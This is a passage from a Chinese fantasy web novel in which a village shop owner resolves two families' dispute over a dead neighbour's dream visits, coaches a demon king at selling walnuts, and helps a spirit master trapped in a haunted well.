楼嚣一走，两贵和狡就屁颠屁颠地跑到时愿身边，继续围着她打转了。 楼嚣真的很无语，它们对狗这个新身份，真的适应良好，甚至享受其中。 到了简家慕在乡下盖的别墅，楼嚣看了一圈，在大门画了个蜃境符。 “你家的老邻居要是再敢上门骚扰你爸，就会被困在这个蜃境中。”楼嚣拍拍简家慕的肩膀，“叫你爸安心睡觉吧。” 简家慕是亲眼看着他画的，干干净净的手指，碰到门板的时候发出微弱的光芒，一笔画成繁复的符咒，整座房子的气场瞬间变了。 简家慕都惊呆了，这绝对是真才实学。 简家慕拿出事先准备好的红包，楼嚣没收。 简家慕想了想，把这笔钱存进了杂货铺的会员卡里。 回到杂货铺，楼嚣看到店里有不少客人。原来下午才是杂货铺的客流量高峰期么？ 楼嚣挑了挑眉，一只手搭在柜台上，和时愿邀功：“核桃都卖完了。” “我看到入账了。”时愿问，“有个客人充了一大笔钱，点错了吗？我可以退款。” “不是，我帮了他一点小忙，这笔钱你放心收下吧。”楼嚣招呼两贵和狡，“任务完成，我们先回青云山了。” 两贵和狡充耳不闻。 “……”楼嚣问时愿，“它们想留下，可以麻烦你帮忙照看吗？” 时愿：“我没有养狗的经验，没关系吗？” 楼嚣说着大逆不道的话：“完全没关系，它们很会当狗，你给它们两块肉骨头吃，带出去遛一遛，就可以了。” 时愿：“那好吧。” 简家慕为了让简父放心，把楼嚣描述成了天上有地下无的绝世高人，把简父唬得一愣一愣的。 当晚，简父一夜无梦，第二天起来，精神气都好多了。 他激动得老泪纵横：“儿子，你这次终于找对人了！我们可得好好感谢人家！” 简家慕也跟着流眼泪，这些天看着简父吃不好不敢睡，一天天变瘦，他实在焦心。回去就给向他推荐愿望杂货铺的高欣彤、钟盼加薪！ 简家慕心怀感激，心想，在门口看店的员工都这么厉害了，愿望杂货铺的老板得厉害到什么程度？ 有人欢喜有人忧。 简老爷子一夜无梦，他老家的邻居赵见茗却做了一晚上的怪梦。 赵见茗梦到早就去世的赵父被困在一个到处都是雾气的地方，怎么走都走不出，赵父一直哭一直哭，哭得赵见茗肝肠寸断。 赵见茗追问他，这是怎么回事，该怎么救他出来，赵父在地上画了一个图腾，又继续嚎哭。 赵见茗醒来，无意识地拿纸笔，临摹梦中的那个图腾。 清醒过来后，他看着纸上的图腾，心中一惊，这个图案好眼熟！ 他跑出阳台，望对面眺望，在简家的大门上看到一个一模一样的图腾！ 赵见茗想起，简家慕曾经找过他几次，说简老爷子老梦到他爸去敲门，简老爷子因此生病，简家慕想让他配合找出原因。 赵见茗没当一回事，赵父去世的时候很安详，不可能作祟，就算他老爸有牵挂，也应该托梦给家里人，去找简老爷子干什么？ 难道简家慕去找了什么人，画了这个鬼画符，把他爸困住了？ 这可不行！赵见茗坐不住了，到处托关系问人。 一开始，大家都很热情，听完详细情况后，又都支支吾吾的，找各种原因推托。 赵见茗急得上火，简家用了这种狠招，他又不想去低头。再说了，万一简家知道他发现了，再使阴招怎么办？一筹莫展的时候，有人给了他一个地址：“你去桂圩镇找时大师吧！你家这个事，望海市里除了她，没人敢管！”—— 作者有话说：对不起，手速太慢，还债失败了（欠一更），但是我会继续尝试还债，直到还清orz 第58章 楼嚣第一天摆摊就卖完了核桃, 回到青云山后，被妖怪长辈、下属们夸得飘飘然，兴奋得一晚上没睡，第二天一大早, 就带上新的200斤核桃下山。 时愿早上开店, 第一件事就是喂猫、喂鱼以及给蔬菜和花草浇水, 现在还多了一个活，喂狗。 这两只狗会用洗手间，所以早上不遛也没关系。它们看到楼嚣这个正牌“主人”，一个眼神都不给, 只围着时愿转。 楼嚣看不得它们这么开心, 强行把它们带出去看核桃摊, 并信心十足地对时愿说：“你去忙吧，我帮你看店。” “恶人+恶犬”看店组合再次上线, 连苍蝇都吓得绕路走。 赵见茗来到愿望杂货铺, 看到楼嚣, 先后退了半步，然后心想：这位气势逼人的帅哥肯定就是时大师，他家的事, 稳了！ 赵见茗壮起胆子：“时大师, 我姓赵, 是潘灵师介绍我过来的……” 来找店长的, 灵师介绍来的，撞邪了？ 和昨天那个人的情况差不多。 楼嚣：“帮你可以, 你得买核桃。” 赵见茗毫不犹豫：“只要您帮我解决这件事，这些我都买了。我再额外给您封个大红包。” 虽然没法和在大城市开公司的简家慕比，赵见茗瞄准乡镇市场, 这几年做生意也挣不少钱。赵父疑似入土不安，不管花多少钱，他都得把这事平了。 楼嚣：“你说吧，遇到什么麻烦了。” “我爸前年去世了，我邻居前段时间和我说，他爸梦到我爸去敲他家的门，我没当一回事……” 楼嚣越听越觉得不对劲，这话听着怎么那么耳熟呢？ 简家慕今天特意来杂货铺道谢，杂货铺门口没有停车位，他提着一堆贵重礼物横跨马路，看到赵见茗在和楼嚣诉苦，心中冒出一股怒火，这股怒火甚至战胜了他对楼嚣的尊重，他大喝一声：“赵见茗，你怎么在这里！” 赵见茗扭头，眼睛里也蹿起两股火苗，指着简家慕说：“大师，就是他，就是他找人害我爸！” “你再说一遍？”仇人见面分外眼红，简家慕扔下手里的大包小包，揪住赵见茗的领子，“你的死鬼老爸缠上我爸，害他生病住院，我还没找你算帐呢！” 老爸被骂，赵见茗脑袋“嗡”的一声，一拳砸向简家慕的脸颊！ 楼嚣强行把两人拉开，慌乱中还挨了一拳。 瞬间梦回拉架两贵和狡的时候。 围观的人越来越多，楼嚣还不能使用妖力，心里十分不耐烦，要不用蛮力把他们扔出去算了？ “你以为求大师有用吗？”简家慕扯着脖子大骂，“我家那个符咒就是大师画的，他站在我这一边！” 赵见茗被这句话打击到了，看向楼嚣的时候，瞳孔都在颤动：“时大师，您耍我？” 难怪望海市的灵师们支支吾吾，难怪中间人说只有时大师敢管这件事，敢情就是时大师让他家陷入这个境地！ 时愿出来的时候，正好听到这句话：“他不姓时，你是来找我的？” 楼嚣看到时愿，心里的烦躁变成了不安，他下意识想瞒住这件事。 “一点小事，你不用管，我来处理。”楼嚣追加一句，“保证很快就解决好。” “你是想解决我吧？我不要你来处理！”赵见茗心中涌出巨大的恐惧感，拼命挣开楼嚣的手，狼狈地跑到时愿面前，一把鼻涕一把眼泪地嚎，“时大师，您给评评理，您救救我！” 时愿：“有什么事，进店里说吧。” 进了店里，赵见茗向时愿哭诉，简家慕时不时被他的措辞搞得火大，两人一言不合就大吵。 楼嚣几次想插话，都被打断了。而且，那两个人每次注意到他想说话，都会怒气加倍。 对于这种情况，时愿处理起来，驾轻就熟。 她给两人倒茶：“喝茶，让我梳理一下思路。楼嚣，你去遛狗吧，它们两个在店里憋这么久，要憋坏了。顺便去药店买点药涂一下伤口。” 两贵和狡是很不愿意在这个时候离开的，但是它们很听时愿的话，一步三回头地跟着楼嚣走了。 离开杂货铺，楼嚣把一头红毛抓成了鸡窝：“她肯定对我很失望。” 他想好好表现，结果给她惹了麻烦。 路上没有人，两贵说：“她没有责怪你，把你支开，就是不想让你面对那两个人的怒火。” 狡：“她还让你去买药。” 楼嚣当然知道，所以心里更愧疚——为自己的不成熟。 楼嚣离开后，面对不知情且极有威望的时愿，赵见茗和简家慕无论如何都吵不起来了。 时愿不说话，这场面实在难熬，他们只能借喝茶来舒缓情绪。喝着喝着，还真冷静了不少。 时愿已经知道事情的来龙去脉了。昨天有个客人充值了一大笔钱，她记得是姓简。 楼嚣说的，帮了个小忙，大概就是去简家画了个图腾。 这个图腾缓解了简家人的心理压力，简父因此获得好眠，但是给赵家人带去了心理压力，赵见茗昨晚做了噩梦。 这两家人都对赵父托梦这件事深信不疑。 这件事不难处理。 时愿：“赵先生，你说你画了那个图腾，有带过来吗？” “有！”赵见茗从包里取出一张纸，双手递给时愿。他出去谈生意都没有这么小心翼翼过。 赵见茗不是专业人士，线条画得有点歪歪扭扭，但时愿能看出来，这个图腾不是随便乱画的，她也有点印象，应该是在外婆的某本书里见过。 楼嚣家里家大业大，这种家庭反而很信这些，而且知道什么时候用有效。他可能是跟什么人学了点皮毛，记住了这个图腾的画法，又迫切地想开张，所以和简家慕做了交易。 时愿问：“赵老先生在两边的梦境里，都没有说话吗？” 简家慕：“我爸说，赵叔只是敲门，我爸有时候透过窗户看一眼外面，不敢开门，赵叔从来不说话。” “在我的梦里，我爸只是不停地哭，好像很痛苦。”赵见茗迟疑道，“我爸去世之前，喉咙水肿，虚弱得说不出话了，不知道和这个有没有关系。” “有关系。”梦反应潜意识，对于简父来说，这个梦具有恐怖色彩，死前无法说话的赵父一定充满怨气，所以才来敲门。对于赵见茗来说，赵父则是委屈的，有苦难言的。 再者，简父和赵见茗，可能很在意赵父去世前不能说话这件事。 时愿又问：“两位老先生从前关系怎么样？” 简家慕：“挺好的，他们好多年的老邻居了，年轻的时候就互相帮衬，后来我家出去发展了，联系少了，但是节假日回老家，他们都会约一起喝酒，钓鱼，有时候也喝茶，下棋，聊聊书法。决定回老家重建房子的时候，我爸畅想过，和赵叔做回老邻居，过悠闲的养老生活，但是房子还没建好，赵叔就走了。” “这就是了。”时愿酝酿情绪，故意叹了口气，“你们误会了，其实鬼魂不都是可怕的，来索命的。” 赵见茗大力拍了下桌面：“高见！” 这话说到他心坎里了！ 简家慕坐不住了：“我爸都住院了！这个月暴瘦了好多斤！” “你们先听我说完。”时愿给他们续了茶，娓娓道来，“赵老先生去世这么久，魂魄还在人间徘徊，可能是有放不下的事，或者有想对简老先生说的话，简老先生最近搬回老家，他一激动就找上门去了，但是他没办法开口，才吓到了简老。我一会儿给你们准备一些祭品，赵先生烧给赵老先生，助他托梦能开口。我再和你们走一趟，洗掉昨天画的图腾，今晚就能见分晓。” 赵见茗举双手赞成。 简家慕有些犹豫，他爸好不容易恢复精神了，这样做需要冒风险。 赵见茗一看他犹豫，马上就急了：“你要是不同意，我就拿红墨水把门上的图腾泼了！” “你这是商量的态度吗？”简家慕又被他激怒了，两人拍着桌子站起来，扯彼此的衣领。 时愿淡定喝茶：“不如问一下简老先生的意见。” 两人又坐回去了。 简家慕恢复冷静：“我给我爸打电话。” 简父二话不说就答应了。 “你怎么不早点给我打电话呢？”简父说，“原来还有这种可能啊，也是啊，老赵怎么可能害我呢？是我胆子太小了。要是我只顾着自己，让老朋友入土不安，那就太自私了。你告诉那位大师，我愿意配合。儿子，你这回才是找对人了，连有苦难言的鬼魂都关心的人，肯定不会让我置身险地。” 告诉简父这个新版本的故事，是时愿计划的一环，这样一来，简父才会真正放松下来。 梦境才会反转。 时愿准备的祭品，除了普通的香烛元宝，还有自制的喉片。 她吩咐赵见茗回家后，按照严格的规则烧了。 赵见茗全都答应下来，坚持要买所有的核桃。 时愿：“等事情了结了，你再来买，我肯定不拦你。” 她说得自信，赵见茗和简家慕更信任她了。 楼嚣遛狗回来，时愿让他帮忙看店：“我和他们去把昨天的图腾擦了。” 小妖王画的蜃境符，全天下能擦掉的人，一只手都数得过来。 楼嚣收起浑身锋芒，为她推开门扉：“您慢走。” 第59章 赵见茗亲眼看着时愿擦掉简家大门的古怪图腾, 心里松了口气。烧完祭品，他心中有种直觉，老爸今晚会再次托梦。 这晚他早早睡了，不知道过了过久, 他听到一阵敲门声。 赵见茗睁开眼, 看着紧闭的房门, 心里突然有些紧张。 他轻手轻脚地下床，打开门，看到赵父站在门口。 “阿茗啊……”赵父一开口，和生前一模一样, 赵见茗恍惚间分不清梦境和过去, 眼泪先一步流下来了。 “哭什么。”赵父拍了下他的肩膀, “昨天被困在那个到处都是大雾的地方，我才知道我已经死了, 而且死了好久了。其实, 这两年我一直在你们身边, 还和从前那样，看到老简回乡下，我是真高兴, 想也没想就去找他了, 没想到会吓到他。” “好了, 儿子, 我真没有什么放不下的，也没有什么话是非说不可的。”赵父笑了笑, “不如说，我这一生过得还算圆满，临死的时候还以为只是睡了一觉, 这才没及时离开。时间差不多了，我要去和老简说声对不起。阿茗啊，你们好好地过日子。” 赵见茗和赵父紧紧拥抱，大哭着答应他。怀里忽地一空，梦醒了。 再次梦到赵父站在家门口，简父心里不害怕了。 简父打开大门的同时，外面响起赵父洪亮的声音。 “老简，是我！” 两人对视一眼，会心大笑。 “老赵啊，你真的能说话了，那个大师可真厉害，那你快说说，你天天来敲我家门，到底有啥事？”简父锤了一下赵父的肩膀，抱怨道，“我真的被你吓惨了！” “你搬回之后，仗着没有人管你，天天大吃大喝，胖了得有十几斤吧！”赵父解释，“你不是有脂肪肝吗？我想来劝一下你，要节制。还有啊，上次咱俩下的那盘棋，你耍赖没下完，我想找你下完，天天想着那盘棋，棋谱我都能背了。” “谁，谁耍赖了？我早就想好下一手了，要不是你走得不是时候，我早就赢了！” 赵父：“那还说什么，拿棋盘出来！” “走走走。”简父走了几步，反应过来后，哭笑不得，“老赵，就为了这盘棋，我被你吓瘦了十几斤，这不，你也算是达成督促我减肥的目的了。” “对不起。”赵父道歉，“我真不是故意的。” “也怪我，人老了，越来越怕死，老友来了都不敢开门相迎。”简父说着说着，湿了眼眶，“老赵啊，多谢你这么记挂我。你以后要是能回来，多来看看我，我现在不怕了，你还和从前一样。” 赵父：“下棋下棋。” 次日一早，简家慕赵见茗一前一后来杂货铺，对时愿千恩万谢。 赵见茗要兑现承诺，买下昨天的200斤核桃。 时愿看到他俩放松又高兴的神情，就知道昨天那个办法成功了，两家人都解开了心结。 时愿也替他们高兴：“买这么多，你也吃不完，你的心意我领了，按需购买即可。” 赵见茗：“您别担心，我是真用得上，马上就中秋了，我要发员工福利。对了，您店里要是能订月饼和水果，从今年开始，我就在您这里订了。” 简家慕忙道：“如果可以寄快递，我也想预订。另外，我还想订一批办公用品，之前听小高说，用您店里的文具，画图的时候灵感特别充足。” 时愿问：“小高？” “高欣彤，她是我的员工，前不久还拿了个大奖，很给公司争脸。”简家慕指了指愿望墙，“您看，她还在这里留下了心愿。冒昧问一下，我可以写一个心愿吗？” 时愿：“原来是欣彤的老板啊，当然可以。” 赵见茗立刻道：“我也想写！” 墙上多了两张心愿便利贴。 简家慕写：祝赵叔投个好胎。 赵见茗写：祝简叔早日康复。 看到彼此书写的心愿，昨天大打出手的两个人握手言和。 “祝你们愿望成真。”时愿弯唇一笑，“月饼我可以联系到靠谱的厂家，我家每年都吃她家的月饼，到时候我把款式发给你们选。水果礼盒的话，石榴可以吗？青云山的石榴品质非常不错。” 两人都说很合适。 时愿：“核桃要用来发员工福利，我帮你分装好，需要礼袋吗？” 赵见茗哪敢麻烦时愿：“要的要的，您给我礼袋，我运回去再分装。” 简家慕：“我也买一些礼袋。” 时愿：“简先生什么时候回等川市？” 简家慕：“过两天。” 时愿：“明天我给你们送一些石榴过去，要是你们觉得不错，可以推荐给亲朋好友。” 两人一口应下，还说自己出来拿。 赵见茗和简家慕离开的时候，勾肩搭背，好得像亲生兄弟，完全看不出来，昨天他们还想刨对方祖坟。 楼嚣全程看下来，对时愿心悦诚服：“您不仅是金牌调解员，还很会做生意。” 轻轻松松谈下几单大生意。摆摊三天无人问津，只惹来一堆麻烦的楼嚣，深知这有多不容易。 “只是比较有经验。”时愿一边联系接手家里月饼厂的朋友，一边对楼嚣说，“我预感生意会不错，你们那边也要准备起来了。” 楼嚣充满了干劲：“收到，我去门口摆摊。做生意好难，我要向你学习。” 他早就知道昨天的核桃能卖出去，今天又运了一些过来。吸取前两天的教训，今天只运了一百斤。 时愿正在联系快递站的老板，隔壁文具店老板发来信息。 [文叔]：小愿啊，我纠结了很久，实在是不开口不行了。你最近请的那个员工，长得太凶了，表情更凶，还带着两条大狗。他在你店门口摆摊两天半，我店里的生意都变差了。你能不能给他提个醒，让他注意点表情，穿点平易近人的衣服，实在不行，戴个口罩也好？ 时愿完全没注意到这一点，经文叔这么一说，她翻了下这几天的交易记录，才发现除了大笔的交易，杂货铺的生意比平时冷清好多。 时愿往窗外看了一眼，正巧看到有人战战兢兢地绕路走。 “……” 时愿喊楼嚣进来，语重心长地说：“楼嚣，有个办法能让你的生意变好。” 楼嚣竖起耳朵：“什么办法？” 时愿：“笑容。” 楼嚣：“？” 时愿：“还有，狗狗先跟着我吧。它们摆起摊来，面相都变了。” 青云山小妖王，今天也在人间学习摆摊……直到收摊，毫无进展。 次日开店，时愿看到楼嚣，差点认不出来。 楼嚣把红发染成黑色，穿着柔和休闲的衬衫，颜色一换，五官就更出彩了，乍一看，还以为是哪里来的大明星。 效果立竿见影，店门还没开呢，就有人来问核桃怎么卖。 甚至有人问：“小哥哥你是网红吗？能合影吗？” 楼嚣的反应特别不值钱：“买核桃就可以。” 托楼嚣的福，今天杂货铺和文具店的生意都变好了，比平时还好。 ——有人拍了视频发到网上，热度挺高，大家都来凑热闹。 文叔高兴得不行，中午来给时愿和楼嚣送烧排骨，拍着楼嚣的手臂，不住口地夸他：“小伙子，这样打扮帅多了，保持住，肯定能大火，说不定还能进娱乐圈当大明星嘞！” 楼嚣一脸认真：“当明星，就能卖出去很多核桃了吧？” 时愿：“……” 为了卖核桃原地出道？不至于，真的不至于。 话说回来，楼嚣为了来体验生活，连班都不去上了，为了卖核桃出个道，像是他能干出来的事情。要是杂货铺能走出去一位大明星，知名度大概也会提升吧。 这一天下来，营业额十分可观，楼嚣很有成就感，时愿也挺开心。 听说沿江广场已经修好了，吃过晚饭，时愿牵着两条狗狗往江边走。 新广场比时愿想象的还要气派，从前只是一片水泥地，现在铺上了大片的花岗岩，用了多年坑坑洼洼的水泥路也换成了柏油路，步行道也铺了新砖。 光秃秃的泥地铺了草坪，移栽了美丽异木棉和宫粉紫荆，行道树上装饰了灯带和灯笼。 连路灯都换新了！ 新广场吸引来了很多小摊贩，小吃摊、理发车、玩具摊……步行道上都是来散步的居民，十分热闹。 “狗狗！好可爱！”戴着眼镜的小女孩牵着妈妈的手，仰着头问时愿，“姐姐，你的狗狗叫什么名字？” “这只叫两贵。”时愿和她介绍，“这只叫小角。” 小女孩歪了歪脑袋：“为什么叫两贵，因为它很贵很贵吗？” 小女孩并不知道，在她喊出“两贵”的时候，她的眼睛亮了一下。她只是觉得眼睛很舒服，看东西好像更清楚了，她下意识地重复：“两贵～两贵～” “我可以摸摸它吗？” 时愿：“要看你妈妈同不同意。” 小女孩的妈妈笑道：“实不相瞒，我也想摸。” “嗷！”两贵主动低下脑袋，看在店主的份上，随便摸！ “两贵，真是个特别的名字呢。”小女孩的妈妈也近视，度数还不低，最近气候干燥，她的干眼症又犯了。 撸了一会儿狗，她发现眼睛不干涩了。咦？难道是因为心情变好了？ 第60章 从蓬莱大学捡回来的枫树枝生根了。 时愿感到惊奇, 这么粗的树枝，正儿八经地弄扦插都很难成活，她随手养在花瓶里，竟然生根了。 难道是翻雪给它泡过生根剂了？还是说, 她是先天种田圣体？ 巡视花园的时候, 看到三年级学生送养的“百丈竹”长出了新的竹枝, 那盆快枯死的吊兰也长出了新芽，种在花坛石缝中的佛甲草生根了，时愿确定了，她种田很有天赋。 拍照发在三年级学生建的群聊里, 时愿心满意足地去种枫树了。都生根了, 不种多可惜啊。 这张照片在蓬莱三年级引起了轰动。 课堂上, 摸鱼的学生们低声讨论。 “我们倾全班之力，到处薅灵气灵石, 养了整整一个学期, 都没能养出一片叶子。这就是新守枫的实力吗？” “不是新守枫, 她拒绝接任！” “啊啊啊百丈竹宝宝，看到你在新家庭有好好长大，我就放心了～” “听说你们班上学期养的百丈竹长叶子了？照片发给我看看。” “也给我看看。” “别急, 我这就给你们……发……”一班班长突然意识到这个声音有点不对劲, 一抬头, 这堂课的谷老师不知道什么时候走下讲台, 正笑眯眯地看着他。 “老师，我错了。”一班班长收起手机。 “上课玩手机、交头接耳是不对, 但收到这种好消息，心情难免激动，老师也能理解。”谷老师点到即止, “课后，也把照片传我一份吧。” 学生们想起来一件事，当初一班到处给百丈竹找领养的时候，谷老师心动过，但因为他养了太多灵植，实在养不起了，只能遗憾放弃。 谷老师能理解学生们激动的心情，学生们也能理解他此刻的心情。 谁不想拥有一株茂盛的百丈竹呢？ 那可是传说中能吸引来凤凰的灵植！ 百丈竹的照片迅速传遍整个年级，连年级组的老师们也被惊动了。 灵植课的老师尤为感动，生出了组织学生去参观的想法，又怕惹得新守枫不快，最后辗转找到了一年级新生龙翻雪，请他帮忙问时愿的意见。 龙翻雪的第一个想法是：姐姐在学校的传说又增加了…… 龙翻雪的同学们知道这个消息后，纷纷央求龙翻雪说服灵植老师带上他们班去参观…… 拜托，他们早就想去一睹新守枫的风采了！除了百丈竹，说不定还能看到火殃！ 龙翻雪对灵植老师说：“我可以帮忙问，但是，如果姐姐答应了，我们班也要去。” 灵植老师一口答应：“这个没问题，我去和你们班主任商量。” 群里只有一水儿的夸赞，时愿对这张照片引起的一系列事件以及众人的心路历程毫不知情。 龙翻雪来问她意见的时候，她以为翻雪的学校要组织学生来海边研学，想借杂货铺做中途休息的地方，她二话不说就答应了。 翻雪要回家乡上研学课，龙叔锦姨的面馆肯定也要跟着忙活。 时愿看着收获满满的菜园，想着，到时候可以摘一些蔬菜送去面馆。 对了，种豆角的时候，叶幽尘帮了大忙，之前约好了，等豆角成熟了，第一个通知他。 时愿给叶幽尘发去消息。 漆黑无光的枯井中，蓦地出现一抹光亮。 银蛇手杖插在石缝中，叶幽尘双手紧紧握着手杖，一脚艰难地踩在凸起的井石上，勉强支撑着身体。 在他的下方，是模糊不清的大量的阴魂。 这口井在当地名为黄泉井，传说通向黄泉路，这个传说没有被证实，但这个地方确实吸引了大量无法投胎的孤魂野鬼。进入井内的孤魂野鬼能不能走到黄泉路不好说，但肯定出不去了。 大量的阴气长期滞留在此处，怨气冲天，这一带都成了事故多发地。临近中秋，孤魂野鬼们更加渴望和亲人团聚、投胎转世，连封印都压不住怨气。 灵师协会每年都会定时来超度亡灵，减少事故发生。过去两年都是叶幽尘主持工作，今年他退出灵师协会，但是这么重要的工作一时之间找不到合适的接班人，灵师协会希望叶幽尘能继续主持今年的仪式，顺便带一下他们想要培养的几个年轻灵师。 这件事决定了这一带未来一年平安与否，叶幽尘没有拒绝，但是，主持仪式的时候，出现了意外。 一位灵师操作失误，掉入井中，叶幽尘为了救他，不得不跟着进来。 那位灵师救上去了，井口也被暴怒的阴魂们封住了。 手机无法使用，也听不到外界的声音，叶幽尘不知道自己被困了多久，也不知道已经和他利益不一致的协会的前同仁们，会不会想办法救他。 至少得熬到师兄他们发现他的处境…… 这些念头在叶幽尘的脑子里循环了无数遍，就在他快支撑不下去的时候，一直没有反应的手机屏幕亮了起来。 隔着口袋，手机的光芒很微弱，但在漆黑的井中，犹如黑夜中的一轮明月。 叶幽尘头脑昏沉，有点怀疑这是他的临终幻想。 他咬牙抽出一只手，拿出手机一看，信息是店主发来的。 [愿望杂货铺]：听说你又出差了？豆角可以摘了，欢迎你来店里采摘。 师兄去找店主求救了吗？还是，店主预知到了他的困境？ 叶幽尘看着店主发来的菜园照片，昏沉的脑袋逐渐恢复清醒。豆角已经成熟了啊，时间过得真快，好想回杂货铺，好想亲手摘下店主精心照料的豆角，好想尝一尝它的味道…… 叶幽尘看了眼时间，原来他被困了一夜。 他没有收到师兄的信息，尝试着拨打电话。竟然真的拨出去了，还被秒接了。 “幽尘啊，你那边忙完了吗？” “师兄……”叶幽尘久未进食饮水，嗓子干得冒烟，“我被困在了黄泉井中，救我……” “什么？？？”周怀瑾急道，“灵师协会怎么不通知我们！你坚持住，我们这就去救你！” 灵师协会没有通知师兄，为什么？ 叶幽尘不愿多花精力思考这个问题，他挂了电话，看到时愿发来的新信息。 [愿望杂货铺]：照片//知道这是什么符吗？ 叶幽尘的眼睛缓缓睁大，全神贯注地分析照片中的符咒，他不知道这是什么符，但他用目光去描绘时，感受到了强大的能量。 这无疑就是他此刻的救命符！ 叶幽尘收好手机，咬破指尖，在井壁上复刻店主教他的符咒。 符咒成形的时候，井里刮起一阵风，模糊不清的重重鬼影被吸进符咒中，叶幽尘死死握住手杖，才没有被这阵风刮走。 耳边的鬼哭声消失了，头顶洒下一缕微弱的日光。 叶幽尘抬起头，这口井很深，且不好攀爬。平时也就罢了，他可以轻松翻上去。现在体力透支，他很可能爬到一半就摔下去。 “叶前辈，你还在，下边吗？”井口探出一张脸，背着光，叶幽尘看不清是谁。听声音似乎是灵师协会的一个话很少的灵师。 “我在！”叶幽尘问，“你能把绳子抛下来吗？另一头绑在树上就行。” 绳子很快就抛了下来，叶幽尘把绳子绑在腰上，抽出手杖。 上边的灵师喊了一声，用力拽叶幽尘上去。 上到地面的那一刻，叶幽尘脱力倒在地上，虚弱地问：“他们呢？怎么只有你一个？” “我们，看到，你死了。”这位灵师说话很慢，似乎有点结巴，“他们，都走了。我觉得，不对，留下，等。” 叶幽尘明白了，井里这么多孤魂野鬼，当然也有一两个保留智慧的狠角色，它们用障眼法让灵师们误会他死了。 他死在协助灵师协会的途中，灵师协会不敢告诉周家这个消息，所以一直拖着，周怀瑾才没能及时来救他。 而店主，预知了这一切，用一个符解了他的困境。 能把信息发进阴气爆棚的黄泉井，店主实在是神通广大。 “你叫什么名字？”叶幽尘问这位灵师。 “温知白。” “谢谢你留下来，救了我。”叶幽尘说，“温灵师，灵师协会已经无可救药，你很有天分，要不要考虑加入我们摆渡人事务所？” 受明逸影响，叶幽尘现在挖墙脚已经很熟练了。 温知白：“好。” 被困黄泉井一夜还能爬上来，这才是她想学习的技术！ 叶幽尘一直强撑到周怀瑾等人赶过来，才放心地晕了过去。 把叶幽尘扶到周梦鹤背上，周怀瑾看了眼黄泉井。 不知道小师弟做了什么，这一带的气场变得很平和，这口井起码能安生两三年。 叶幽尘晕过去了，手还紧紧抓着手机，周怀瑾用了点力气才将手机抽出来。屏幕亮起，他无意看到叶幽尘和时愿的聊天界面，恍然大悟。 原来是时前辈出手了，难怪师弟这么快就能获救，难怪黄泉井这么平静。 临近下班，时愿才收到叶幽尘的回复。他说他住院治疗了，刚刚苏醒，明天就回桂圩镇。 又住院了？叶幽尘的身体真的很虚弱啊。 时愿让他注意身体，不用急着回来，豆角长得很快，他肯定能吃上。 [叶幽尘]：我想快点回去，谢谢您给我发的符咒。我不知道这是什么符咒，从图形上看，或许和妖有关？希望您赐教。 时愿一看就知道叶幽尘误会了，他以为她是在出题考他呢，实际是，时愿一直想不起来在哪本书上看过楼嚣画的这个符，又不想问楼嚣，免得楼嚣翘尾巴下次还给别人乱画。她想起叶幽尘是灵师，所以向他请教。 不过叶幽尘在这方面确实知识渊博，给时愿提供了新方向，原来是和妖相关的符咒啊。旧房子里有一间书房，专门存放外婆留下的书籍和笔记，时愿太想找到答案了，一头扎了进去。 还真让她找到了这个符咒的出处，不是在古籍上，是在外婆的某本笔记上，这里记录着外婆见过的各种符咒、图腾。 “原来是蜃境符，楼嚣居然会画这么冷门的符咒。” 时愿拍下这一页，发给叶幽尘。 “请问有人吗？老板在吗？”外面传来呼唤声。 时愿出去招呼：“你好，要买点什么吗？” “我想买点百洁布。”姜一雯没想到破旧的杂货铺里，藏着一个这么漂亮的花园，由衷地赞美，“你的花园打理得太漂亮了。” 看到生机蓬勃的花花草草，她阴郁的心情都放松了些。 “谢谢，我去给你找百洁布。” 姜一雯转身前，余光扫到鱼池旁边的灯笼，莫名被吸引，她走到灯笼下，看着上面俊逸的“转运灯”三个字，她想起最近的糟心事，叹了口气：“要是真的能转运就好了……” 话音未落，脑袋感到一阵晕眩，她头重脚轻地往下栽。 肩膀被什么扶了一下，姜一雯扶住柱子，勉强稳住身体，眼前还是一阵阵地发黑。 时愿过来找人时，看到她脸色惨白，呼吸急促，急忙过来扶住她：“哪里不舒服？有带药吗？” 姜一雯晕乎乎地说：“扶我坐下……休息一会儿就好，谢谢你。” 时愿给她倒了杯温水：“你真的不用去医院吗？我看你不像低血糖。” “不是低血糖。”姜一雯说，“我前几天做了个手术，还没完全恢复，偶尔还是会头晕。” 时愿：“我看门口停着一辆车，是你的吗？” “是我的。” 时愿有点担心：“你这个情况，开车没问题吗？” “没办法。”姜一雯苦笑一声，“我单位不给请长假，我家也没人帮我接送孩子，我不能住宿舍，只能来回跑。从我单位到家得开差不多一个小时的车，这个时间，那边几乎打不到车。” “原来是这样，你好辛苦。”时愿有点奇怪，“你这个情况，怎么会请不了假呢？” “其实我是个老师，我所在的学校老师少，找不到老师代课，校长说请假太久，家长会不满。”说到这个，姜一雯更无奈了。 她刚做完手术，校长就催她回去上班，根本不想找其他解决办法。 时愿：“要不，考虑一下请个阿姨帮忙，先度过这个难关再说？” 看她开的车，家庭条件应该还不错。 姜一雯有点难以启齿：“我家的情况有点复杂，我公公婆婆节俭惯了，说什么都不肯在这种地方花钱，叫我忍忍就过去了。我提过几次，他们的反应很激烈，一吵起来，我头更晕了。” 姜一雯的老公对她不错，但工作很忙，一到这种事情就指望不上。 姜一雯最近压力太大了，很想倾诉，但不想害时愿听她吐苦水，这一杯温水，已经是她最近收获到的难得的温暖了。 两人刚认识，时愿也不好对她的家事指手画脚。有家庭的成年人，都很不容易。 姜一雯垂下眼，遮掩住眼底的湿意：“这日子，会变好吗？” “会有转机的，或许可以寻求身边人的帮助呢？”时愿说，“你现在的身体状况，还是别开车了，我正好要关店了，我送你回去。” “不用不用。”姜一雯说，“我家在茶山镇，离这里还有十几分钟路程呢，我也不知道怎么，经过这里的时候，刚好想起家里没有洗碗布了，才停车买东西。” 或许，是冥冥之中有个声音告诉她，进这家店就能放松一下吧。 “没关系，我今晚要和朋友约饭，本来也考虑去茶山镇。她下班后，可以顺路去接我。” 时愿说的，是接手月饼厂的那位朋友，本人也姓月，叫月珏，决定回老家接手月饼厂的时候，月珏还给时愿打电话，说她叫这个名字，命中注定要做一辈子的月饼。 时愿给月珏发信息说明情况，热心肠的月珏双手赞成时愿的决定。 时愿送姜一雯去晚托班接孩子，再送她回家。 姜一雯真的特别感谢她，眼泪几次都差点掉下来。 “快回家吧，今晚好好休息。否极泰来，没准儿明天就交好运了呢？” 时愿去路口等月珏，她本来就在来的路上，没多久就到了。 